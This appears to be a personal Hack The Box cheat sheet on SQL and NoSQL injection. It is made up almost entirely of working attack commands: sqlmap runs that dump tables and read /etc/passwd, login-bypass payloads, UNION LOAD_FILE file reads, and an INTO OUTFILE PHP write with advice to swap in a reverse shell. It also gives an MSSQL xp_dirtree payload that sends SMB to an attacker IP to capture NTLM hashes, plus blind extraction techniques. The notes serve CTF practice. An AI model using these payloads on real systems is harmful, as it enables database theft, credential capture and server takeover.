HTB – SQL Injection

sqlmap

>sqlmap -u plugins/lcars/lcars_db.php?query=1 --batch

batch means never ask user input, use the default behavior

>sqlmap -u http://htb/administrative --data "uname=123&password=456" --privileges

Retrieve the privileges the current user is having. For example, read the FILE

>sqlmap -u http://htb/administrative --data "uname=123&password=456" --batch

Test Post parameter by data option

>sqlmap -u plugins/lcars/lcars_db.php?query=1 --batch --dbs

fetch the DB information

>sqlmap -u plugins/lcars/lcars_db.php?query=1 --batch --tables -D [DB name]

Fetch tables in a specific DB

>sqlmap -u plugins/lcars/lcars_db.php?query=1 --batch --dump -T [Table name] -D [DB name]

Dump the content in the table

>sqlmap -u http://htb/administrative --data "uname=123&password=456" --file-read=/etc/passwd

Read the file in the target server

>sqlmap -u 'http://Product.aspx?query=8;%20EXEC%20master..xp_dirtree%20%22\\10.10.16.6\test%22;%20--' --batch

Out-of-band SQL Injection Exploitation. This will trigger the MSSQL to send a SMB connection request to attacker’s machine(10.10.16.6). Then the attacker can use the Responder to capture the Net-NTLMv2 hash.

>sqlmap -r post-request.txt --level=5 risk=3

Capture the post request by Burp or ZAP into post-request.txt. If the JSON in the data, replace it with custom injection marker *

SQLi

SQLi list in SecLists, use it with ffuf/fuzz

>ffuf -X POST -u http://htb/login -d 'uname=FUZZ&password=0xdf' -w Generic-SQLi.txt -H "Content-Type: application/x-www-form-urlencoded"
>wfuzz -c -u htb/login -w Generic-SQLi.txt -d "uname=FUZZ&password=123"

Enumerate SQLi payloads in Generic-SQLi.txt to bypass the admin page login.
admin' or 1=1 limit 1;-- - also works

>%3bselect+'<%3fphp+phpinfo()%3b+%3f>'+into+outfile+'/var/lib/mysql/4.php'

Write the result of phpinfo() to /var/lib/mysql directory by “into outfile” query in MySQL. This path is usually writable to MySQL process. Replace the phpinfo() to reverse shell to have the foothold.

SQLite

110 and 1=1 UNION SELECT sql FROM sqlite_master WHERE type='table'

Query the schema to confirm the tables in the database

NoSQL Injection

Referenced from PayloadsAllTheThings and HackTricks

POST /login HTTP/1.1
Host: xxxx.com
...
Content-Type: application/json
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close
...
{"username":{"$ne":"admin"}, "password":{"$ne":"pass"}}

NoSQL injection by modifying Content-Type to application/json with a JSON format data

Manual SQLi Example

HTB Writer’s walk through provided a detailed explanation.

uname=' UNION select 1,LOAD_FILE("/etc/passwd"),3,4,5,6;-- -&password=456

uname=' UNION select 1,LOAD_FILE("/etc/lsb-release"),3,4,5,6;-- -&password=456

uname=' UNION select 1,LOAD_FILE("/etc/apache2/apache2.conf"),3,4,5,6;-- -&password=456

uname=' UNION select 1,LOAD_FILE("/etc/apache2/sites-enabled/000-default.conf"),3,4,5,6;-- -&password=456

Manual SQLi to read the file in the target server by Burp repeater. — means comment out in SQL.

HTB StreamIO’s walk through provided a detailed manual SQLi example.
1. First guess the SQL query syntax
→select * from movies where title like ‘%[input]%’;

2. Craft the payload to run the other SELECT inside the original query
→man’ UNION SELECT 1,@@version,3,4,5,6;– –
→select * from movies where title like ‘%man’ UNION SELECT 1,@@version,3,4,5,6;– -%’;

3. If the parameter is injectable, run more built-in cmd in DB to retrieve the info. Here is the cheatsheet

4. Use responder to retrieve the hash
→man’ exec master..xp_dirtree ‘\[Attacker’s IP]\[any folder]’;–

5. Retrieve DB name by injectable query
→man’ UNION SELECT 1, (select DB_name()),3,4,5,6;–

6. Retrieve all object in DB(streamio) to have table’s object id.
→man’ UNION SELECT 1, name,id ,4,5,6 from streamio.sys.sysobjects;–

7. Retrieve every column in every table and view in the target DB. use table’s object id to specify the column you want. Details here
→man’ UNION SELECT 1, name,id ,4,5,6 from streamio.sys.syscolumns;–

8. Since you have the table + cloumn info, you can retrieve the data in DB
→man’ UNION SELECT 1, username, 3, 4,5,6 from users;–
→man’ UNION SELECT 1, password, 3, 4,5,6 from users;–
→man’ UNION SELECT 1, concat(username, ‘:’, password), 3, 4,5,6 from users;–

HTB Intense’s walk through provided a detailed manual SQLi example:
1. First guess the SQL query syntax
INSERT * INTO TABLE WHERE (col1) VALUES (‘{payload}’)

2. Inject SELECT syntax with Boolean operator AND to find a pattern
・’||(select username from users where username LIKE ‘x%’)||’ → return “OK”
・’||load_extension(‘b’)||’ → return “Not authorized”
・’||(select username from users where username LIKE ‘g%’ and load_extension(‘a’))||’→return “Not authorized”
・’||(select username from users where username LIKE ‘a%’ and load_extension(‘a’))||’→return “Not authorized”
・’||(select username from users where username LIKE ‘n%’ and load_extension(‘a’))||’→return “OK”

3. Already knew the account guest and admin exists so “Not authorized” means hit, and “OK” means the char we tried isn’t in the table

You can use Time-based injection as well.
・’||(select hex(zeroblob(100000000)) from users where username LIKE ‘g%’)||’ → Response time: 1741 millis
・’||(select hex(zeroblob(100000000)) from users where username LIKE ‘a%’)||’ → Response time: 1740 millis
・’||(select hex(zeroblob(100000000)) from users where username LIKE ‘n%’)||’ → Response time: 945 millis

When username contains a or g, zeroblob function will run. zeroblob is a time-consuming function so attacker can observe the time lag to determine if the SQL had a hit or not. We can use sleep function in other SQL database like MSSQL or MySQL.

Open Resources

關於作者

Nelley,乃力。
就是一個村民。